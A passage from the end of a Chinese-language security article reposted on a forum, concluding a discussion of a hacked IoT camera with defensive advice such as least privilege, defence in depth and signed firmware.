敏 感 信 息 ， 否 则 也 就 没 有 意 义 了 。 一 些 最 基 本 的 安 全 原 则 还 是 要 遵 守 ， 比 如 最 小 权 限 、 深 度 防 御 。 固 件 也 需 要 签 名 或 者 加 密 ， 抵 御 恶 意 的 固 件 上 传 或 篡 改 。 如 果 不 这 么 做 ， 不 仅 给 用 户 带 来 安 全 风 险 ， 对 企 业 的 业 务 也 很 不 好 。 比 如 我 们 上 面 说 的 这 款 摄 像 头 ， 原 本 打 算 每 个 月 收 服 务 费 ， 这 种 赚 钱 方 式 也 就 被 打 破 了 。 另 外 ， 开 源 的 固 件 有 时 候 的 确 是 不 怎 么 靠 谱 的 。 * 参 考 来 源 ： c o n t e x t i s ， 饭 团 君 投 递 ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ F r e e B u f . C O M ）  
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理